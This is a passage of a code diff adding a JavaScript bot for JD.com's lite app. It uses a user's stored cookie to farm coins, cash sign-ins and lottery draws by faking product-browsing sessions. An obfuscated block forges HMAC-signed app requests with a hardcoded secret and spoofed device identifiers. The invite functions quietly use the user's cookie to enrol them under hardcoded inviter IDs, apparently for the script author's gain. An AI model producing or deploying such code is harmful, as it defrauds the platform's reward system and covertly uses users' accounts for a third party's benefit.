(safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === 0) { + console.log(`签到获得${data.data.signAmount}现金,共计获得${data.data.cashDrawAmount}`) + } else { + console.log(`签到失败,${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function taskList() { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "version": "3.1.0", + "method": "newTaskCenterPage", + "data": {"channel": 1} + }), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + for (let task of data.data) { + $.taskName = task.taskInfo.mainTitle + if (task.taskInfo.status === 0) { + if (task.taskType >= 1000) { + await doTask(task.taskType) + await $.wait(1000) + } else { + $.canStartNewItem = true + while ($.canStartNewItem) { + if (task.taskType !== 3) { + await queryItem(task.taskType) + } else { + await startItem("", task.taskType) + } + } + } + } else { + console.log(`${task.taskInfo.mainTitle}已完成`) + } + if (IPError){ + console.error('API请求失败,停止执行') + break + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function doTask(taskId) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "marketTaskRewardPayment", + "data": {"channel": 1, "clientTime": +new Date() + 0.588, "activeType": taskId} + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + IPError = true + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + console.log(`${data.data.taskInfo.mainTitle}任务完成成功,预计获得${data.data.reward}金币`) + } else { + console.log(`任务完成失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function queryJoy() { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', {"method": "queryJoyPage", "data": {"channel": 1}}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.taskBubbles) + for (let task of data.data.taskBubbles) { + await rewardTask(task.id, task.activeType) + await $.wait(500) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function rewardTask(id, taskId) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "joyTaskReward", + "data": {"id": id, "channel": 1, "clientTime": +new Date() + 0.588, "activeType": taskId} + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + $.score += data.data.reward + console.log(`气泡收取成功,获得${data.data.reward}金币`) + } else { + console.log(`气泡收取失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + +async function queryItem(activeType = 1) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "queryNextTask", + "data": {"channel": 1, "activeType": activeType} + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data) { + await startItem(data.data.nextResource, activeType) + } else { + console.log(`商品任务开启失败,${data.message}`) + $.canStartNewItem = false + IPError = true + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function startItem(activeId, activeType) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "enterAndLeave", + "data": { + "activeId": activeId, + "clientTime": +new Date(), + "channel": "1", + "messageType": "1", + "activeType": activeType, + } + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + IPError = true + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data) { + if (data.data.taskInfo.isTaskLimit === 0) { + let {videoBrowsing, taskCompletionProgress, taskCompletionLimit} = data.data.taskInfo + if (activeType !== 3) + videoBrowsing = activeType === 1 ? 5 : 10 + console.log(`【${taskCompletionProgress + 1}/${taskCompletionLimit}】浏览商品任务记录成功,等待${videoBrowsing}秒`) + await $.wait(videoBrowsing * 1000) + await endItem(data.data.uuid, activeType, activeId, activeType === 3 ? videoBrowsing : "") + } else { + console.log(`${$.taskName}任务已达上限`) + $.canStartNewItem = false + } + } else { + $.canStartNewItem = false + console.log(`${$.taskName}任务开启失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function endItem(uuid, activeType, activeId = "", videoTimeLength = "") { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', + { + "method": "enterAndLeave", + "data": { + "channel": "1", + "clientTime": +new Date(), + "uuid": uuid, + "videoTimeLength": videoTimeLength, + "messageType": "2", + "activeType": activeType, + "activeId": activeId + } + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.isSuccess) { + await rewardItem(uuid, activeType, activeId, videoTimeLength) + } else { + console.log(`${$.taskName}任务结束失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function rewardItem(uuid, activeType, activeId = "", videoTimeLength = "") { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', + { + "method": "rewardPayment", + "data": { + "channel": "1", + "clientTime": +new Date(), + "uuid": uuid, + "videoTimeLength": videoTimeLength, + "messageType": "2", + "activeType": activeType, + "activeId": activeId + } + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.isSuccess) { + $.score += data.data.reward + console.log(`${$.taskName}任务完成,获得${data.data.reward}金币`) + } else { + console.log(`${$.taskName}任务失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function cash() { + return new Promise(resolve => { + $.get(taskUrl('MyAssetsService.execute', + {"method": "userCashRecord", "data": {"channel": 1, "pageNum": 1, "pageSize": 20}}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.total = data.data.goldBalance + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 大转盘 +function wheelsHome() { + return new Promise(resolve => { + $.get(taskGetUrl('wheelsHome', + {"linkId":"toxw9c5sy9xllGBr3QFdYg"}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0){ + console.log(`【幸运大转盘】剩余抽奖机会:${data.data.lotteryChances}`) + while(data.data.lotteryChances--) { + await wheelsLottery() + await $.wait(500) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 大转盘 +function wheelsLottery() { + return new Promise(resolve => { + $.get(taskGetUrl('wheelsLottery', + {"linkId":"toxw9c5sy9xllGBr3QFdYg"}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.data && data.data.rewardType){ + console.log(`幸运大转盘抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue}${data.data.couponDesc}】\n`) + message += `幸运大转盘抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue}${data.data.couponDesc}】\n` + }else{ + console.log(`幸运大转盘抽奖获得:空气`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 大转盘任务 +function apTaskList() { + return new Promise(resolve => { + $.get(taskGetUrl('apTaskList', + {"linkId":"toxw9c5sy9xllGBr3QFdYg"}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0){ + for(let task of data.data){ + // {"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":"SIGN","taskId":67,"channel":4} + if(!task.taskFinished && ['SIGN','BROWSE_CHANNEL'].includes(task.taskType)){ + console.log(`去做任务${task.taskTitle}`) + await apDoTask(task.taskType,task.id,4,task.taskSourceUrl) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 大转盘做任务 +function apDoTask(taskType,taskId,channel,itemId) { + // console.log({"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":taskType,"taskId":taskId,"channel":channel,"itemId":itemId}) + return new Promise(resolve => { + $.get(taskGetUrl('apDoTask', + {"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":taskType,"taskId":taskId,"channel":channel,"itemId":itemId}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0 && data.data && data.data.finished){ + console.log(`任务完成成功`) + }else{ + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 红包大富翁 +function richManIndex() { + return new Promise(resolve => { + $.get(taskUrl('richManIndex', {"actId":"hbdfw","needGoldToast":"true"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0 && data.data && data.data.userInfo){ + console.log(`用户当前位置:${data.data.userInfo.position},剩余机会:${data.data.userInfo.randomTimes}`) + while(data.data.userInfo.randomTimes--){ + await shootRichManDice() + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 红包大富翁 +function shootRichManDice() { + return new Promise(resolve => { + $.get(taskUrl('shootRichManDice', {"actId":"hbdfw"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0 && data.data && data.data.rewardType && data.data.couponDesc){ + message += `红包大富翁抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue} ${data.data.poolName}】\n` + console.log(`红包大富翁抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue} ${data.data.poolName}】`) + }else{ + console.log(`红包大富翁抽奖:获得空气`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxb24bc=["\x6C\x69\x74\x65\x2D\x61\x6E\x64\x72\x6F\x69\x64\x26","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x26\x61\x6E\x64\x72\x6F\x69\x64\x26\x33\x2E\x31\x2E\x30\x26","\x26","\x26\x38\x34\x36\x63\x34\x63\x33\x32\x64\x61\x65\x39\x31\x30\x65\x66","\x31\x32\x61\x65\x61\x36\x35\x38\x66\x37\x36\x65\x34\x35\x33\x66\x61\x66\x38\x30\x33\x64\x31\x35\x63\x34\x30\x61\x37\x32\x65\x30","\x69\x73\x4E\x6F\x64\x65","\x63\x72\x79\x70\x74\x6F\x2D\x6A\x73","","\x61\x70\x69\x3F\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D","\x26\x62\x6F\x64\x79\x3D","\x26\x61\x70\x70\x69\x64\x3D\x6C\x69\x74\x65\x2D\x61\x6E\x64\x72\x6F\x69\x64\x26\x63\x6C\x69\x65\x6E\x74\x3D\x61\x6E\x64\x72\x6F\x69\x64\x26\x75\x75\x69\x64\x3D\x38\x34\x36\x63\x34\x63\x33\x32\x64\x61\x65\x39\x31\x30\x65\x66\x26\x63\x6C\x69\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x3D\x33\x2E\x31\x2E\x30\x26\x74\x3D","\x26\x73\x69\x67\x6E\x3D","\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D","\x2A\x2F\x2A","\x52\x4E","\x4A\x44\x4D\x6F\x62\x69\x6C\x65\x4C\x69\x74\x65\x2F\x33\x2E\x31\x2E\x30\x20\x28\x69\x50\x61\x64\x3B\x20\x69\x4F\x53\x20\x31\x34\x2E\x34\x3B\x20\x53\x63\x61\x6C\x65\x2F\x32\x2E\x30\x30\x29","\x7A\x68\x2D\x48\x61\x6E\x73\x2D\x43\x4E\x3B\x71\x3D\x31\x2C\x20\x6A\x61\x2D\x43\x4E\x3B\x71\x3D\x30\x2E\x39","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];function taskUrl(_0x7683x2,_0x7683x3= {}){let _0x7683x4=+ new Date();let _0x7683x5=`${__Oxb24bc[0x0]}${JSON[__Oxb24bc[0x1]](_0x7683x3)}${__Oxb24bc[0x2]}${_0x7683x2}${__Oxb24bc[0x3]}${_0x7683x4}${__Oxb24bc[0x4]}`;let _0x7683x6=__Oxb24bc[0x5];const _0x7683x7=$[__Oxb24bc[0x6]]()?require(__Oxb24bc[0x7]):CryptoJS;let _0x7683x8=_0x7683x7.HmacSHA256(_0x7683x5,_0x7683x6).toString();return {url:`${__Oxb24bc[0x8]}${JD_API_HOST}${__Oxb24bc[0x9]}${_0x7683x2}${__Oxb24bc[0xa]}${escape(JSON[__Oxb24bc[0x1]](_0x7683x3))}${__Oxb24bc[0xb]}${_0x7683x4}${__Oxb24bc[0xc]}${_0x7683x8}${__Oxb24bc[0x8]}`,headers:{'\x48\x6F\x73\x74':__Oxb24bc[0xd],'\x61\x63\x63\x65\x70\x74':__Oxb24bc[0xe],'\x6B\x65\x72\x6E\x65\x6C\x70\x6C\x61\x74\x66\x6F\x72\x6D':__Oxb24bc[0xf],'\x75\x73\x65\x72\x2D\x61\x67\x65\x6E\x74':__Oxb24bc[0x10],'\x61\x63\x63\x65\x70\x74\x2D\x6C\x61\x6E\x67\x75\x61\x67\x65':__Oxb24bc[0x11],'\x43\x6F\x6F\x6B\x69\x65':cookie}}}(function(_0x7683x9,_0x7683xa,_0x7683xb,_0x7683xc,_0x7683xd,_0x7683xe){_0x7683xe= __Oxb24bc[0x12];_0x7683xc= function(_0x7683xf){if( typeof alert!== _0x7683xe){alert(_0x7683xf)};if( typeof console!== _0x7683xe){console[__Oxb24bc[0x13]](_0x7683xf)}};_0x7683xb= function(_0x7683x7,_0x7683x9){return _0x7683x7+ _0x7683x9};_0x7683xd= _0x7683xb(__Oxb24bc[0x14],_0x7683xb(_0x7683xb(__Oxb24bc[0x15],__Oxb24bc[0x16]),__Oxb24bc[0x17]));try{_0x7683x9= __encode;if(!( typeof _0x7683x9!== _0x7683xe&& _0x7683x9=== _0x7683xb(__Oxb24bc[0x18],__Oxb24bc[0x19]))){_0x7683xc(_0x7683xd)}}catch(e){_0x7683xc(_0x7683xd)}})({}) + +function taskGetUrl(function_id, body) { + return { + url: `https://api.m.jd.com/?appid=activities_platform&functionId=${function_id}&body=${escape(JSON.stringify(body))}&t=${+new Date()}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded", + "referer": "https://an.jd.com/babelDiy/Zeus/q1eB6WUB8oC4eH1BsCLWvQakVsX/index.html" + } + } +} + +function invite2() { + let inviterIdArr = [ + "4AVQao+eH8Q8kvmXnWmkG8ef/fNr5fdejnD9+9Ugbec=", + ] + let inviterId = inviterIdArr[Math.floor((Math.random() * inviterIdArr.length))] + let options = { + url: "https://api.m.jd.com/", + body: `functionId=TaskInviteService&body=${JSON.stringify({"method":"participateInviteTask","data":{"channel":"1","encryptionInviterPin":encodeURIComponent(inviterId),"type":1}})}&appid=market-task-h5&uuid=&_t=${Date.now()}`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://assignment.jd.com", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "User-Agent": $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://assignment.jd.com/", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.post(options, (err, resp, data) => { + // console.log(data) + }) +} + +function invite() { + let t = +new Date() + let inviterIdArr = [ + "5V7vHE23qh2EkdBHXRFDuA==", + "4AVQao+eH8Q8kvmXnWmkG8ef/fNr5fdejnD9+9Ugbec=", + "jbGBRBPo5DmwB9ntTCSVOGXuh1YQyccCuZpWwb3PlIc=", + "m95y+Pagsmn6cXWtNhfrV9ymDN4QK1ivsmbN32lpEHw=", + "DuqL56/3h17VpbHIW+v8uJRRyPL6k9E1Hu5UhCyHw/s=", + "mCvmrmFghpDCLcL3VZs53BkAhucziHAYn3HhPmURJJE=", + ] + let inviterId = inviterIdArr[Math.floor((Math.random() * inviterIdArr.length))] + let options = { + url: `https://api.m.jd.com/?t=${t}`, + body: `functionId=InviteFriendChangeAssertsService&body=${JSON.stringify({"method":"attendInviteActivity","data":{"inviterPin":encodeURIComponent(inviterId),"channel":1,"token":"","frontendInitStatus":""}})}&referer=-1&eid=eidI9b2981202fsec83iRW1nTsOVzCocWda3YHPN471AY78%2FQBhYbXeWtdg%2F3TCtVTMrE1JjM8Sqt8f2TqF1Z5P%2FRPGlzA1dERP0Z5bLWdq5N5B2VbBO&aid=&client=ios&clientVersion=14.4.2&networkType=wifi&fp=-1&uuid=ab048084b47df24880613326feffdf7eee471488&osVersion=14.4.2&d_brand=iPhone&d_model=iPhone10,2&agent=-1&pageClickKey=-1&platform=3&lang=zh_CN&appid=market-task-h5&_t=${t}`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Content-type": "application/x-www-form-urlencoded", + "Origin": "https://invite-reward.jd.com", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "User-Agent": $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": 'https://invite-reward.jd.com/', + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.post(options, (err, resp, data) => { + // console.log(data) + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, 